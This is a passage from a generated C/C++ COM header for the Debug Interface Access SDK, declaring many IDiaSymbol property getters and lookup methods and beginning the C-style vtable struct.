STDMETHODCALLTYPE get_hasEHa( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isNaked( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAggregated( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSplitted( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_container( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_inlSpec( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noStackOrdering( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseTableType( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasManagedCode( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isHotpatchable( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isCVTCIL( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isMSILNetmodule( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isCTypes( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isStripped( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndQFE( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndQFE( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_wasInlined( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_strictGSCheck( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isCxxReturnUdt( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isConstructorVirtualBase( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_RValueReference( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unmodifiedType( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_framePointerPresent( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSafeBuffers( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_intrinsic( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sealed( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hfaFloat( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hfaDouble( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeStartAddressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeStartAddressOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeStartRelativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_countLiveRanges( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeLength( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_offsetInUdt( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_paramBasePointerRegisterId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_localBasePointerRegisterId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isLocationControlFlowDependent( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_stride( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfRows( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfColumns( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isMatrixRowMajor( /* [retval][out] */ BOOL *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_numericProperties( /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties) = 0; virtual HRESULT STDMETHODCALLTYPE get_modifierValues( /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isReturnValue( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isOptimizedAway( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_builtInKind( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerType( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseDataSlot( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseDataOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_textureSlot( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_samplerSlot( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uavSlot( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sizeInUdt( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_memorySpaceKind( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unmodifiedTypeId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_subTypeId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_subType( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfModifiers( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfRegisterIndices( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isHLSLData( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPointerToDataMember( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPointerToMemberFunction( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSingleInheritance( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isMultipleInheritance( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isVirtualInheritance( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_restrictedType( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPointerBasedOnSymbolValue( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseSymbol( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseSymbolId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_objectFileName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAcceleratorGroupSharedLocal( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAcceleratorPointerTagLiveRange( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAcceleratorStubFunction( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfAcceleratorPointerTags( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSdl( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isWinRTPointer( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isRefUdt( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isValueUdt( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isInterfaceUdt( /* [retval][out] */ BOOL *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineFramesByAddr( /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineFramesByRVA( /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineFramesByVA( /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLines( /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByAddr( /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByRVA( /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByVA( /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolsForAcceleratorPointerTag( /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolsByRVAForAcceleratorPointerTag( /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE get_acceleratorPointerTags( /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags) = 0; virtual HRESULT STDMETHODCALLTYPE getSrcLineOnTypeDefn( /* [out] */ IDiaLineNumber **ppResult) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPGO( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasValidPGOCounts( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isOptimizedForSpeed( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_PGOEntryCount( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_PGOEdgeCount( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_PGODynamicInstructionCount( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_staticSize( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_finalLiveStaticSize( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_phaseName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasControlFlowCheck( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_constantExport( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_dataExport( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_privateExport( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noNameExport( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exportHasExplicitlyAssignedOrdinal( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exportIsForwarder( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ordinal( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frameSize( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerAddressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerAddressOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerRelativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerVirtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE findInputAssemblyFile( /* [out] */ IDiaInputAssemblyFile **ppResult) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_characteristics( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_coffGroup( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bindID( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bindSpace( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bindSlot( /* [retval][out] */ DWORD *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbolVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* 